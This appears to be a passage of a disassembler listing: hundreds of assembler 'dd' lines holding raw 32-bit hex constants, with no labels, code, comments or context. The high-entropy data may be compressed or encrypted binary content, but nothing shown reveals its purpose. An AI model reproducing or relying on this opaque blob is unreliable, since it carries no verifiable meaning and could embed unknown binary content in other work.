		dd 0D70BEFFDh, 0A9FB78h, 0D9B3ED79h, 49880BE7h,	0BC00B602h
		dd 79222AAh, 1F7DC0A0h,	252B707Eh, 0EB40C43Ch, 0EDA6AE32h
		dd 838CB31h, 8F12690Bh,	0CD6F1000h, 76002198h, 0EE6A186Dh
		dd 1D260409h, 0BA677851h, 0AA5A4A01h, 0C4565D9Eh, 303EC76h
		dd 0C2E74B7Bh, 16A6A05Bh, 467ABFh, 0D1B41FEh, 0D620114Eh
		dd 0F0FD8401h, 3892F84Fh, 2C8020h, 6966B75Fh, 982F5214h
		dd 43361A00h, 67E8B674h, 0FE6B03F1h, 6A8899Bh, 31B804D1h
		dd 0FCC0F62Ch, 86001A88h, 0EDD09F11h, 417A3DCh,	87B2E383h
		dd 82E49167h, 0CB92FC84h, 19970C25h, 8244FFF8h,	0B59B9490h
		dd 0EF643AE7h, 0D0DDD300h, 0CAA90AE2h, 3F865514h, 0FC2C1D90h
		dd 0C301F51Ch, 0C5A6786Dh, 488D9FD0h, 0B1000728h, 8E2BBCC1h
		dd 6400C454h, 4AC773B7h, 4D56591h, 0A5096934h, 8C838027h
		dd 850007CDh, 1C4C5DA0h, 0DD4705h, 0C370E961h, 7A418BD1h
		dd 2489B012h, 0B4FF2493h, 0E1F79627h, 331EE41Dh, 0A53F5F05h
		dd 0B67FCC0h, 0A39804BBh, 0D7AB82EEh, 60CC473Ch, 4B57D7B6h
		dd 6FC03C02h, 40445846h, 0E8DA28h, 9F259308h, 1F8016B3h
		dd 0C8B8FA28h, 0DC0028B6h, 6AA7EB78h, 0AD860071h, 6A09A83h
		dd 0EE5C97E0h, 0CC8C00B8h, 63163A45h, 959C01BDh, 0E3843186h
		dd 0D4402EB8h, 42FA6A60h, 35E0C0D0h, 6989D65Bh,	4BEF870Fh
		dd 784D2937h, 0DCBB44A8h, 0ABA4A200h, 0B980CF39h, 28C4784Bh
		dd 1EDC458Eh, 8F6FD77Bh, 0CE17421h, 0CF1671AEh,	9DACCBB8h
		dd 3E3D100h, 338A2EA0h,	19010E23h, 444CA85h, 1B08800Fh
		dd 26001522h, 0C3A17F9Bh, 1ABDB5h, 8336D65Ch, 50E26946h
		dd 790BAD71h, 80747C1Dh, 6D381580h, 26AA00FBh, 2F17297Dh
		dd 57001E21h, 0B0943B97h, 1F99A59Eh, 803E79A1h,	0C3FD7A01h
		dd 4612590Dh, 1C03F926h, 0A884AD88h, 0E2BC4A29h, 0A90D003Fh
		dd 43685F41h, 0EC076FEDh, 890C61C6h, 0DC565260h, 74260009h
		dd 8ECAC98Ah, 0AE2D38D1h, 75000F8h, 13DAF43Ch, 8142E6E9h
		dd 10FE0E1Ch, 50AF82h, 4030848Ch, 0CFED9FD3h, 3539DF01h
		dd 0BBFFD728h, 83CBD0h,	3D03AC22h, 0EF54FB4Eh, 0E0004F5Bh
		dd 6B31F951h, 0E2B73BF5h, 63885A00h, 0C10FAAFh,	57006C72h
		dd 0FF5119DFh, 0B7CB49h, 675F74BAh, 0ACC5701Dh,	543BDA00h
		dd 0FBAF7120h, 8F480077h, 3795B227h, 5C00B18Eh,	8812997Eh
		dd 2E0B8D91h, 6AD8Ah, 40625152h, 8B077CDAh, 23CCA625h
		dd 0E045EFA1h, 6FEEF4h,	8738E7ACh, 1F8210EDh, 1E50843Fh
		dd 0EF1CABC2h, 37B11640h, 0A7CC53h, 242D46F8h, 9A2A1F81h
		dd 0F39FEC01h, 0BDC08EA3h, 132B9C4h, 3CA21589h,	0F467E966h
		dd 0E00335Bh, 84509CBh,	2390BA9h, 78B92E02h, 85C0A288h
		dd 46038051h, 252F44F9h, 0DFE7A076h, 622E168Eh,	0E980056h
		dd 0F3241A36h, 1F9F3702h, 0E34B6EE7h, 0FF34B081h, 8D231465h
		dd 513DBDE0h, 9BF49C00h, 90AC93F9h, 0C59EDD09h,	0E6D44481h
		dd 0EB5900A6h, 0FF28F9FCh, 789891DEh, 0BC002BE3h, 66D38378h
		dd 1BAF0070h, 1723EA71h, 89038088h, 1DCAA027h, 0E1FB803Dh
		dd 9F8300E4h, 4D21CE37h, 0C500AAC1h, 805DFF20h,	17BF1DE8h
		dd 9BAEC6Dh, 0DD004F21h, 0B6781C3Ah, 0F1C71700h, 1651DBC0h
		dd 767903h, 0C5DED931h,	0E03D5FA8h, 0C4892B07h,	950C897h
		dd 16FB8B43h, 1D6A24A7h, 0E57BC088h, 0A0F9C7A8h, 15731BFAh
		dd 0DAB7953Dh, 0DC2F2EBCh, 800C6085h, 0C29F4EFEh, 68007D71h
		dd 62B74561h, 98D7F6h, 7AA00579h, 11A190F4h, 0A470809h
		dd 24D2EBh, 8668C245h, 0D4D2F02Ah, 800F8490h, 0E19CB8DBh
		dd 36FE15E3h, 1D65EF70h, 4396353h, 0E0F02DE0h, 975C9344h
		dd 9A2B039Ch, 0D8421ADAh, 0A0C9D8A7h, 1843A8C7h, 89269E10h
		dd 6B064F08h, 2A325D01h, 1D6E0061h, 441B9F5Fh, 0DE007E6Dh
		dd 0C882A160h, 3E36A8Ah, 5DA60B54h, 1F81E603h, 9F39813Dh
		dd 0B2ADD1CDh, 0F06B4E71h, 40018D6h, 0C8FDD2E6h, 15AB67E1h
		dd 0A0E592A3h, 797E8700h, 7BB2B613h, 63CB8800h,	0EE3C39AAh
		dd 98D60075h, 0EA92E7A7h, 0D373C88Ch, 71FE4500h, 8FD0543h
		dd 0B0E601A0h, 79228FF9h, 77061BEh, 689590C2h, 0F57B0DC2h
		dd 0FAD21100h, 19762752h, 0B0BD001Fh, 46852B5Dh, 6A79F21Eh
		dd 0BC15E203h, 0C04ABE74h, 8AB63h, 0D04014B8h, 0C34B117Ch
		dd 36EB3400h, 7AB27739h, 0C9380B64h, 80605E90h,	8E000951h
		dd 10D7376h, 3E485F81h,	0FB878322h, 73886EBCh, 7CD8031Ch
		dd 0A2004D13h, 5BC36FD1h, 7AB270DDh, 0B53E1E33h, 7112C009h
		dd 9E11B7DCh, 16877203h, 0FD99FB02h, 0B1AEB5C0h, 9AD60FFh
		dd 0D2D4E5D8h, 0EFA8704h, 0C4B1B399h, 46D8D809h, 0CF9200FBh
		dd 251B2F90h, 0B70F544Eh, 0E02AD530h, 4C8EF2DDh, 6CFA5C55h
		dd 1AB0F12h, 12ACDF23h,	0C2E428A1h, 0C8AA7965h,	0E4CA7CD4h
		dd 0AF900F35h, 40C0095Eh, 0FC465D13h, 4C823E00h, 0E9B1A775h
		dd 4B318F9h, 0D47BE8C5h, 0CB9FC400h, 1B79BBFEh,	0BF440039h
		dd 0AAF8759Eh, 86EE8025h, 0A8578C00h, 43F348E9h, 0A4B1003Fh
		dd 490BFB70h, 3D24FA54h, 1E00A0C2h, 0EA79310Ah,	79809865h
		dd 2F591D52h, 0A5F8C0E0h, 0E64ACB64h, 0A300B6F2h, 1B3A7C51h
		dd 26D021h, 0CB3CDE93h,	79D989E8h, 0F2F9DC00h, 0D4DF315Fh
		dd 6087751Bh, 64D11BBh,	504F2795h, 0C6095480h, 8ED60176h
		dd 0E5FBC3E7h, 478CC8B3h, 832A1100h, 9A20850Dh,	45600E82h
		dd 409F2654h, 39D316A7h, 98133119h, 0EA00BE80h,	1C271AFh
		dd 0B54C0073h, 0F234666Ch, 1D00A4ABh, 0B2B7D1D0h, 702357FFh
		dd 2AE200F9h, 1B6A0C08h, 0F60719B8h, 27E4911h, 0FAA957C0h
		dd 749C0054h, 2E14082Ch, 0EF01D9F7h, 78181066h,	716034FBh
		dd 0BCC100B5h, 36F06F73h, 0D2071264h, 99E7158Bh, 2FD91B50h
		dd 0EC5A0351h, 0CE32BDBEh, 0ED88DBB8h, 0CC115D06h, 0E88C1BAh
		dd 2F927ADEh, 2094FF47h, 0F0A4C505h, 1763FB00h,	57917F2Dh
		dd 0B4513B2Bh, 0D2F1E900h, 8622621Ah, 900E411Ch, 40FF9140h
		dd 710321h, 83591645h, 0DCAE7E1Bh, 42CD400h, 622FF6BCh
		dd 0A1703Ah, 61805924h,	0E83C8DB0h, 7EA5B100h, 4F9D262Eh
		dd 20C200D7h, 1B7BFCAEh, 0C73F98DDh, 123B80FEh,	54EF04B2h
		dd 0E2AF035Ah, 0D79F559Bh, 83B810A3h, 0D21F7C09h, 2A41C90Eh
		dd 71E5E034h, 12E3EF4h
		dd 541B0C69h, 200D6889h, 0FE009F0Dh, 7353E69Ah,	1C127Dh
		dd 9C8F115Fh, 0CF4F5BD2h, 6C00D4F4h, 647C4269h,	0CDCCEDBh
		dd 0AC89C252h, 0F375E8D0h, 0AD25D100h, 53176F4Fh, 0C5D02C9h
		dd 0EE4CD9ABh, 0A49CCD40h, 82C0B428h, 0CDCC3400h, 0CB07DBBBh
		dd 712700A0h, 9735B9FEh, 8B002898h, 945C1C4Fh, 50C6B3ABh
		dd 0EAAA4DDh, 0E0A346D8h, 351077A3h, 0D6E67001h, 0C2E70BA1h
		dd 0FDAFDC0h, 464889C1h, 766A005h, 1508790h, 0C057AE13h
		dd 261EB71Ch, 1EC24322h, 0C04D125Bh, 4029C4h, 0B0F2AAEFh
		dd 96A58F36h, 467F700h,	50E9BF61h, 20650FABh, 13619058h
		dd 70319955h, 9A982EFBh, 0B449751Dh, 10614B00h,	0AFC17Ah
		dd 191C6306h, 8A089282h, 0D55C000h, 0BEF6696h, 0A0695F88h
		dd 0E1009117h, 0A3EBF69Ah, 0B04FB08Ch, 0A9190030h, 0A0D09D72h
		dd 9E00B8A7h, 5E31397Ah, 3D470E5Ah, 8F80B080h, 41F9549Bh
		dd 97007FAFh, 0DEFD14B7h, 0F1189AEh, 0A786BA9h,	6477025Ch
		dd 0B8805F44h, 0D35CE150h, 4C92427Eh, 9B00687Eh, 0D93BD46h
		dd 77FD1Bh, 6F6505C8h, 84E5F224h, 9ABA5A00h, 9B37F6D6h
		dd 63DA00A5h, 541486B0h, 3328B1B3h, 5600A4BDh, 0A4D7C98Fh
		dd 0F797E0h, 276EC707h,	0AD47708Ah, 7E06A900h, 7195BA57h
		dd 0A49B00E8h, 0C0883F6Eh, 691C832Bh, 40C74DFAh, 0EE701B29h
		dd 5CDD86h, 183C67F8h, 41729607h, 1DE62500h, 8F579FA2h
		dd 2C2200D9h, 0EF07C5FFh, 1A00402Ah, 2D461C0Ch,	7F77129h
		dd 0F67F938Ah, 0FF7FE4h, 0AE076544h, 73040A87h,	0E57C041Eh
		dd 4E7B2C80h, 0CB980015h, 5C2A3829h, 4B50B4C7h,	25074C95h
		dd 0EBD7DA3Eh, 4A71B120h, 0B5D00CEh, 29EE1E94h,	25008FF7h
		dd 61657FB0h, 2961684h,	4E021BC4h, 42413B21h, 0DC57D895h
		dd 0F9044098h, 0FCD6D470h, 94786083h, 6BD50880h, 16531D85h
		dd 0EF9F00F5h, 0EDB3B508h, 70F7BE00h, 4391B675h, 0C3780F49h
		dd 7683E4B9h, 83D03165h, 7400A7F9h, 0E0074810h,	16DD7Eh
		dd 82B219Fh, 96110241h,	4D9DCA1Dh, 5585FBC4h, 51BF80EEh
		dd 92005695h, 47C4679h,	0F76D76h, 0E7AAC961h, 7EBDA330h
		dd 21E81724h, 9C83B031h, 70A89FECh, 0D4C6004Fh,	4496CC91h
		dd 0E265195h, 0D9003FFAh, 4B13458Bh, 67C81CF4h,	0CB42870Bh
		dd 29ECB0B3h, 3E007AA1h, 88BF2170h, 7FB81815h, 8EE30087h
		dd 0C9CFC01Eh, 0B900E099h, 95FB846Bh, 3827BA43h, 680EDA31h
		dd 60C6A98Fh, 3A0011E5h, 275E7C94h, 4B4DA3h, 0ACF51CCDh
		dd 0C1E3D959h, 28C09274h, 4C904FF1h, 21EB003Ch,	0A80C5ED4h
		dd 80C017C0h, 97DAB083h, 6E13074Fh, 0C3E140ADh,	0DEC151B3h
		dd 4F423F5h, 0E27B563Bh, 328368D0h, 0B09F001Fh,	3D6BE774h
		dd 0A200393Fh, 755A962Fh, 73551601h, 0CB6D038Bh, 1577C8A5h
		dd 5AC33498h, 45413A00h, 0C6F5D575h, 81A30099h,	67F1D0D2h
		dd 20EA0F31h, 0C1403806h, 1E942FF7h, 0C030D651h, 7BA2DF27h
		dd 0A601E514h, 48B9D73Bh, 4880759Ah, 65FC3836h,	51004457h
		dd 0A893B840h, 67F27Ch,	0EB0ADBFEh, 28174935h, 6C062C1Eh
		dd 7E384A82h, 6BC05DCDh, 0F2075ADCh, 31A3A6BEh,	0AEB61700h
		dd 2E8E0036h, 0A9905940h, 0B00E6C9h, 61A526EDh,	1890F5Fh
		dd 70AA5B1Ah, 30282F4Bh, 5C00A840h, 0BDC4B677h,	17B2C2h
		dd 73081FAEh, 22E84B35h, 13C68C05h, 54C037DAh, 0F445D80h
		dd 6CC3AA03h, 0B8EBBE83h, 0C26985C0h, 0E9D5BD00h, 0F4DBA4CBh
		dd 0F8CEFEDCh, 12FB7452h, 0F01795h, 0C0E3AAB4h,	273815B1h
		dd 0D06A00FFh, 0E4EAD582h, 0B2F624B4h, 69980068h, 728056E5h
		dd 4EEC7B00h, 0AE796F2h, 0C68D00DEh, 0F6302FFDh, 0AB005CA3h
		dd 0F579558Ah, 0A16378h, 0A90829C0h, 0EFC2D94Ch, 0B70D2C2Eh
		dd 4046310Eh, 389D75CBh, 89D21BA1h, 3BC992A8h, 0D57880ADh
		dd 5331236h, 39802BBh, 9525C7D0h, 0CDE588E0h, 562B021Ch
		dd 63EFB707h, 6FA6609Eh, 91D8CAh, 4AD7D903h, 0CD24ABCFh
		dd 0DABECE00h, 0E93377EAh, 0D6A00009h, 0F1F7685h, 0DF005063h
		dd 473BCD0Ah, 12024B40h, 0A5F930h, 0EA315788h, 9E00CC33h
		dd 6E563C32h, 1F81CA5Eh, 4309854Eh, 88061660h, 7482A5A0h
		dd 0CCF31576h, 1A38BC64h, 76AD8E7h, 0EB6289BFh,	0A607F190h
		dd 7D5D3EEFh, 95C8C303h, 9089A7B0h, 932AC8DFh, 0C2BE4E00h
		dd 96ED3C3Ah, 663300DBh, 0E5DC658Ah, 1A030C76h,	9AF5F439h
		dd 2C79A8BCh, 242B48D9h, 0B9484A0Bh, 3CD43300h,	4C00740Ch
		dd 0D1FB93B5h, 770F3Bh,	0DE95B34Ah, 0E2A9D73Fh,	284FB600h
		dd 9BD13760h, 55C400DCh, 0E53A6725h, 572459BDh,	0F1049CEFh
		dd 0D89069EBh, 3341306h, 1A27F6E3h, 60E868D2h, 798FD91h
		dd 0F80520F6h, 9271968Dh, 0CD5B8C80h, 4BFB00B6h, 0E97586DDh
		dd 600364Ch, 0F503E385h, 245C1D47h, 3818A45Eh, 666B2E00h
		dd 0ECF38A83h, 0F8B71B24h, 6A9F0826h, 43DEFE00h, 3A747BE2h
		dd 47AEBE04h, 0E8800014h, 0EC7C524Eh, 0D0264B1Dh, 0E5764080h
		dd 5F9288h, 4AD25B1Dh, 42DAE249h, 10673E1Fh, 65DEF3C0h
		dd 0EB719Bh, 0DC58ED04h, 1EE8EC94h, 4FEE0C00h, 401B460Ah
		dd 87B30001h, 0DBA9949h, 0F5009BEFh, 0AE29844h,	7EBA7h
		dd 0C81921C0h, 0A414B4DEh, 0E81B2414h, 377C00E0h, 421C87D9h
		dd 3CB17544h, 8B09C7DFh, 9480A19Ah, 6D5689BAh, 5D1DF903h
		dd 43B098h, 0A2F68628h,	30977C0Fh, 8B02A100h, 6BBBEFC6h
		dd 9C64E36Ch, 128A038Fh, 0C56F1691h, 24CF80F5h,	0CA00294Bh
		dd 0ECAA9D1Ch, 0F619D26Ch, 75430038h, 2EF5B0BDh, 0A878FA82h
		dd 1A0090B0h, 0E57BBB3h, 28EA8ECDh, 1BCC599h, 6E970FA1h
		dd 60105CC3h, 2A05918Ch, 0AE72A0F0h, 2DE501FEh,	60536956h
		dd 80C0AB5Ah, 137AC1E7h, 7F7F7603h, 73211FE3h, 81C489CDh
		dd 0DAAF2040h, 0ECD1FA07h, 8B09DB84h, 108077E3h, 0EE0B8EA6h
		dd 34BBBC00h, 0B6C053CCh, 55F70224h, 0FA381F51h, 7DCD50E0h
		dd 0A4A31901h, 2844C4C3h, 67EC60h, 0B5E8BAE2h, 9E138404h
		dd 0D5144006h, 1E2027D4h, 404BF277h, 0A111AAEh,	9001BAAh
		dd 63183F73h, 2EC2F016h, 542EB9h, 9E9201EFh, 2B01F378h
		dd 0FAC8FC5Dh, 0B07AF683h, 4A3821F9h, 7990028h,	0CC60308Eh
		dd 0C2180117h, 0EA62F2C8h, 4A2C6049h, 161AA00h,	5ECBE207h
		dd 0D219005Ah, 0EF9C88ECh, 0DA1C0277h, 42401E3Dh, 0F2B8E946h
		dd 0B1E10069h, 54146594h, 8B0B539Ch, 80A452AEh,	4F01CD8Ch
		dd 129D000Fh, 92E3B587h, 80F9CBBBh, 0D8506F39h,	0E8082A1h
		dd 75E83EFDh, 0A524E300h, 3800327Fh, 0F2A60347h, 0ED1A8ACh
		dd 0F80F6087h, 20810106h, 0AE9B2100h, 47AC6B65h, 58D004EFh
		dd 0C0ED3BF6h, 0F7B84C40h, 9289820h, 0D778890Ah, 344BBC40h
		dd 0D3748C00h, 4EFC11BBh, 728A0037h, 167F9ED5h,	7600236Ah
		dd 0F79FE88Fh, 2C1D5C10h, 4D79585h, 0A87E24FAh,	840486Bh
		dd 1C29AC31h, 4E120078h, 3852CF8Eh, 0D1D64A00h,	45DF1BDBh
		dd 0C861005Bh, 0DA4E547Fh, 0A828373Ch, 8D01FD28h, 6F46FE9Eh
		dd 3C2373CCh, 5873300h,	20B97C75h, 6DEB3000h, 5F29F1FFh
		dd 0C00C96FBh, 95526A57h, 0A2D1C50Ah, 4424F8E2h, 0DAA0F400h
		dd 4971F9h, 0E7CE6BB4h,	0DD9670D4h, 383EDF24h, 0F3BC8001h
		dd 548FCDB9h, 68A08866h, 568D394Ah, 45EA53F6h, 0C7A71C01h
		dd 0DE5C5A1Ah, 3FFE8830h, 0FB804E37h, 0CEEDC1D7h, 34009979h
		dd 27B4B295h, 739D32h
		dd 90869A77h, 114214ABh, 72C9D819h, 55CC6C40h, 0CB97000Ch
		dd 5FE11022h, 0C80057F2h, 6D055BCDh, 7B9919CCh,	616A0012h
		dd 39DCFEA1h, 0D50042D0h, 0F346D2A3h, 0E8078E6Bh, 5FC50023h
		dd 0C2E3AE3Ah, 8C0E1E95h, 617C4164h, 8F326736h,	0A17460h
		dd 65476D9h, 0DB501542h, 0DAEA8C01h, 2559CE39h,	0A980A06Fh
		dd 37C9D700h, 0A54E5201h, 339005Eh, 9660678Ch, 7A0074B5h
		dd 353AF5E7h, 51D07Dh, 7888013Fh, 0E36CD442h, 0E41DF00h
		dd 0FABD0761h, 8D7506h,	0C8268032h, 0D7BBA89Fh,	0EC44601Fh
		dd 7295BFC0h, 383D176h,	7E98DB09h, 0C4F08845h, 931E9982h
		dd 2740EB05h, 3C7C35FCh, 3898E5h, 0FBE1BF75h, 0AC8F1484h
		dd 8E055A02h, 807EF381h, 62E543D5h, 0E9C805F0h,	815F420Bh
		dd 0C423B719h, 0B200D544h, 4017CBD6h, 1F01D009h, 0C182C374h
		dd 91135D22h, 0CBC6C8C5h, 6D71CF1Fh, 7BD6h, 0F61C055h
		dd 184000D0h, 96E35B2Dh, 300C7759h, 0E8017A41h,	31F6001Ch
		dd 0A699E5DBh, 0C7001AD7h, 136335F2h, 2C946FCFh, 305056h
		dd 6AD891Dh, 3F50A504h,	33004BCCh, 962B9E3Dh, 7BDBB62Dh
		dd 0A02BB041h, 0B854DD1Ch, 0D9A3008Eh, 4E188EA4h, 8B05977Ah
		dd 38E2A178h, 0E3F924C0h, 0F2DB07B5h, 0C4C8DAh,	0F0D2B331h
		dd 85C2E038h, 0D8B4E6F6h, 0E4FC0800h, 39F7DEB6h, 3960B7D9h
		dd 5196CF97h, 44F8A8C3h, 1714C1C5h, 454119Eh, 0FE71F7F6h
		dd 3E509180h, 78CD1DBFh, 4F4E0B41h, 232A5200h, 1AE8B2C7h
		dd 37F7FB07h, 10239038h, 3595886Ah, 0AAC80376h,	0C301CE2Ah
		dd 933E3803h, 0A8623BD3h, 33A64C0Ah, 48186A2Eh,	5C72BD0h
		dd 4625D506h, 0F28FF96h, 418BCB99h, 942B5220h, 0CE28E848h
		dd 8E22803h, 88C54C30h,	0F04A2723h, 0B43C098Ah,	0E387EE4Eh
		dd 59846078h, 0ECE8DB7Ch, 2F00C7F4h, 41574DD4h,	0E6FFF04h
		dd 647A999Bh, 6798CC0h,	2300F960h, 110DCA47h, 22385Dh
		dd 8FF45A99h, 0FEC945B4h, 9C4FC300h, 0FAD06848h, 8958000Fh
		dd 5679BF44h, 390B3BC1h, 78C2383Ah, 9B8F018Eh, 236FDD8h
		dd 0D5A84051h, 0D9006ACAh, 5BCB4D04h, 93B4524h,	98A0FFC2h
		dd 72C61F8Eh, 3E0220B4h, 911F5773h, 23209C37h, 74014415h
		dd 4BE7904Fh, 2EBF9440h, 95010029h, 0C3621BD5h,	8CC0BCDh
		dd 8C2163h, 45970121h, 82F22F17h, 31C55000h, 8D3DFA0Fh
		dd 7F0492F6h, 0FE98004Eh, 0A391D6A4h, 8166CE4Ah, 216908h
		dd 5AFE9011h, 85AA7C88h, 6E74539h, 9210D00Eh, 0A1EA20D8h
		dd 0B0CA3F38h, 3DF9391Ah, 434A491h, 0D6A0FE9Ch,	205A62B1h
		dd 0DBFE940Dh, 2D903305h, 0BC042A06h, 54426579h, 1448A1C3h
		dd 5760CFCAh, 324CEF39h, 0C8EE3B1Fh, 22E06D28h,	4F1255EBh
		dd 7446AECBh, 141C227h,	0E69B2B2Ah, 0F01CBE11h,	18C14AC4h
		dd 261D4E65h, 9F2900EFh, 489B90A0h, 42192B7Ah, 0D5088A40h
		dd 98812180h, 0A3B95890h, 0E4633403h, 3A3D86C1h, 9B0CA871h
		dd 5E114077h, 290B9601h, 4B2A9AC7h, 89982FDh, 7081215Bh
		dd 8C703DD9h, 0C84D3C00h, 4128DC7Dh, 0EC5055E8h, 623420h
		dd 0E348E6FBh, 4E20A865h, 0E97EF401h, 0F0B94C39h, 0A7567E30h
		dd 606944C0h, 0C1DC42h,	0B0A8BBEAh, 1C75C94Ch, 5047FC32h
		dd 0FE9D3092h, 0B9D69F11h, 0C806888h, 45F3FE95h, 39770069h
		dd 0D3028065h, 0F0D3CA6h, 28435EF5h, 805045F9h,	19D43Bh
		dd 29A170FDh, 0E501F7ADh, 95BBC605h, 0AC207799h, 63F1409Bh
		dd 4B76E9F6h, 2AAC190Fh, 5090616Fh, 0C9C8C562h,	0B99804F6h
		dd 801FBC52h, 9DE006F4h, 51D1CA18h, 0ED8A9h, 8DEF2445h
		dd 26E02046h, 4AF0C954h, 9053F207h, 69F09872h, 7F23C1FEh
		dd 54590270h, 852A8B3Fh, 310397C3h, 0E7A9223Dh,	8833C3C4h
		dd 454A673h, 534915FDh,	908C8840h, 0FE97058Ch, 3889D6A5h
		dd 8F000EA4h, 0D79E2DFEh, 72A4AF58h, 57D31432h,	0BE003C27h
		dd 0C51E616Fh, 7C709310h, 85D86809h, 311C8FFBh,	9C012280h
		dd 6143F3D5h, 89005722h, 6FBD011Ah, 30450588h, 4F89C821h
		dd 0B0640A4h, 52E85A4Dh, 0C2AEC031h, 7DEDAFA9h,	4C2B8F00h
		dd 0D8DD98ABh, 9DF017h,	0EA37A3EFh, 6DF8C828h, 64CF2912h
		dd 0D623B42Fh, 2DECE100h, 0C1C69B7h, 0CA262113h, 0D801EE21h
		dd 287BA9BEh, 3C809587h, 0D6153064h, 0C16026FFh, 66969029h
		dd 21400049h, 254BA42Ah, 4AE03384h, 8A263098h, 467C044Dh
		dd 1C2650D2h, 454C4DFCh, 0D3C99FC4h, 0CF409152h, 0DD90ED10h
		dd 0AEBA2300h, 0E584D356h, 133FF41Ch, 48C70AF7h, 27C48EF8h
		dd 0BD5E8C1h, 6422F836h, 11F8E00h, 20C23685h, 0B7410EE8h
		dd 21584B4Ch, 0BD7AF4BBh, 64E87664h, 0A6301F32h, 48951190h
		dd 80D3888Ah, 30909E7Fh, 59C05BE8h, 92806A93h, 0DED00712h
		dd 0E05C3C36h, 0DA6BDD85h, 32B51407h, 4E914660h, 48414A4Dh
		dd 0F9CD0AB8h, 0C53F599Eh, 48C05CD1h, 0F280C794h, 38AE3950h
		dd 697C02ADh, 54C6C902h, 3E4EFC40h, 248FEF80h, 3B4A4F8h
		dd 5B766D0Fh, 23C04948h, 0B9C0B99h, 0D86A7484h,	838856C0h
		dd 0EE0B0094h, 6BA9A542h, 89D01126h, 1212394h, 489790A4h
		dd 8358239Ah, 0A0909C7Dh, 2F98706h, 5675D883h, 3120C526h
		dd 63B46Fh, 35B8EEF8h, 4476FBE2h, 401789CEh, 46476554h
		dd 0F82901E8h, 6145BDA3h, 0A70C2398h, 759EC068h, 0B70099B0h
		dd 8C6057F9h, 54A7DCEh,	4906CB61h, 9C9482FAh, 9E119C28h
		dd 280B9780h, 18782C7h,	30B8F7Eh, 7DD0F8E4h, 17409D00h
		dd 595608B5h, 0CCFC07EDh, 61F7EE44h, 4E5B6671h,	238C48E4h
		dd 0FE96018Fh, 1881D6A6h, 8E0F8866h, 0B30158B0h, 0A57BA6FDh
		dd 17E1E0BDh, 809CC091h, 0C72A0B95h, 54448C92h,	0B8D0080h
		dd 685C59A6h, 4400F7C9h, 427AADC5h, 0C2D255h, 464E612Eh
		dd 58BCC14Ch, 3648B8C0h, 3F4773h, 0D15104Dh, 0A112F429h
		dd 259B781Fh, 61763380h, 3C498Bh, 0C575F304h, 0B382CC48h
		dd 6413CD00h, 7F1D93CEh, 162201FCh, 0A405D534h,	8124D529h
		dd 30C03E40h, 45F5FFA0h, 4B6C20h, 0E6AF9EB0h, 55CE71AAh
		dd 0E21F13F2h, 93801C3Dh, 0D29E3AF0h, 3E890068h, 0DB2AA1A8h
		dd 0CB00FE15h, 8B81CFA6h, 3061BA9Eh, 0F54063FFh, 0D63950BFh
		dd 0A88A0040h, 0C9727380h, 99C70EEBh, 0FDC16445h, 0EF5A2B77h
		dd 0EE73CBD0h, 2197B907h, 0E26087DFh, 2BB33Fh, 85775157h
		dd 1FA54C35h, 76D5907h,	0F7220CE7h, 18AA2058h, 73E8D4ABh
		dd 26C0CD67h, 0D8A73901h, 86A08080h, 0BCBF65E8h, 0E902D274h
		dd 42971E8Bh, 61900049h, 3F00A364h, 58FE6637h, 0F06E0448h
		dd 69A448D6h, 9CB2671Ch, 4440400Fh, 555CFDE4h, 880466Bh
		dd 2780A02Eh, 0B32856A7h, 3BA50035h, 4AF750BCh,	0BD006090h
		dd 0CFE96332h, 30649341h, 0A9407BE3h, 79005021h, 5FF81238h
		dd 312F914Dh, 0C88110C4h, 6BF5ECFAh, 72974002h,	909641D0h
		dd 8502620h, 0F7EA387Ch, 0F6FDC558h, 30D50F6Ch,	13CFB3E0h
		dd 0E1F024h, 391EC9B4h,	42C0DFA0h, 29148B44h, 3B8A3040h
		dd 0CCC75702h, 4033BA9Ch, 0E0AAEE20h, 4BD0074Fh, 0FA31F77Bh
		dd 0CF9E00A0h, 55BCD50Dh, 7E808960h, 0FDDA5B2Ah, 0F4A6C040h
		dd 0E53501D3h, 6C64A4B0h, 5127C0B2h, 40C84030h,	2396AAFh
		dd 0AD10FFE5h, 87E0C920h, 0A9602309h, 0BE043340h, 0BA9F0072h
		dd 0FCDE2891h, 0C5227602h, 652339E4h, 26D4DF00h, 38368D73h
		dd 0C0D3CCF9h, 0EFC8CE0Eh
		dd 0A2D5C05Bh, 3C957FECh, 0C18035C9h, 0AC5A1554h, 0DC240BE5h
		dd 370351C8h, 0F886E9EDh, 87AD30h, 743B73E3h, 1DF17B04h
		dd 779F8A02h, 0C1F7A6FFh, 0D73713h, 0DB58E940h,	9307C166h
		dd 241F8477h, 20642FABh, 751F1B06h, 0E4F838E6h,	808CBC09h
		dd 0B016A002h, 0EB64C080h, 38990FF6h, 8F1858D1h, 0B8EA6D00h
		dd 0D455DFCEh, 0E6C0097Bh, 0D065F931h, 466066C4h, 5000C417h
		dd 1BE33F0h, 13FDD915h,	9ED1252Ch, 42D08868h, 0A2350F8Dh
		dd 43EC2720h, 4CE5683Ah, 0EF605864h, 0A318BAF7h, 4BE02446h
		dd 5D4226D1h, 0FAD803C8h, 0E83E3BB7h, 648E0048h, 0C28C47F5h
		dd 186262BFh, 0E8C47337h, 8711C46h, 82489C90h, 0C75ED4C4h
		dd 2729097h, 0BCA053F5h, 5C609335h, 3200F898h, 3B4110BDh
		dd 52CCF77h, 2ACB07EAh,	0BF904BD5h, 5A11489Fh, 0D6C60280h
		dd 23EAAE09h, 0F921F000h, 4FE297E1h, 36B91AFAh,	2C51E862h
		dd 0C7185C79h, 0AB255806h, 1961F5h, 4C09CE4Bh, 5C56FA6Ch
		dd 0BA873000h, 2BA5C1F1h, 0CBC81DF2h, 781CF645h, 7BD2840Ah
		dd 0AC20B057h, 4DAB10C4h, 790E4600h, 820F1631h,	1B3C7E5h
		dd 95397C48h, 84606D31h, 7DAC0F85h, 0C5603464h,	0E57E74EDh
		dd 27076390h, 3CB83021h, 0E9711510h, 8FEC00B3h,	811D7708h
		dd 530ED588h, 602B4F8Ah, 6C4345B6h, 393800B8h, 0F364BD28h
		dd 0E5039E51h, 0ECCFF174h, 2F09D8F7h, 8AAD00DAh, 0A353AC3Dh
		dd 500C1CF0h, 10ABFC59h, 0D704A7FBh, 0E566EC86h, 640B0010h
		dd 946B548Fh, 9A3B9926h, 2860D87Eh, 1F01FCFDh, 0BFAA11Eh
		dd 299093EFh, 4BAE8452h, 0BC424348h, 213E2497h,	37125782h
		dd 6A126019h, 29888C12h, 5659885Bh, 0F77F0600h,	579FE635h
		dd 6A0F0061h, 8DE439F8h, 8005451h, 645C371h, 0F7D7F43h
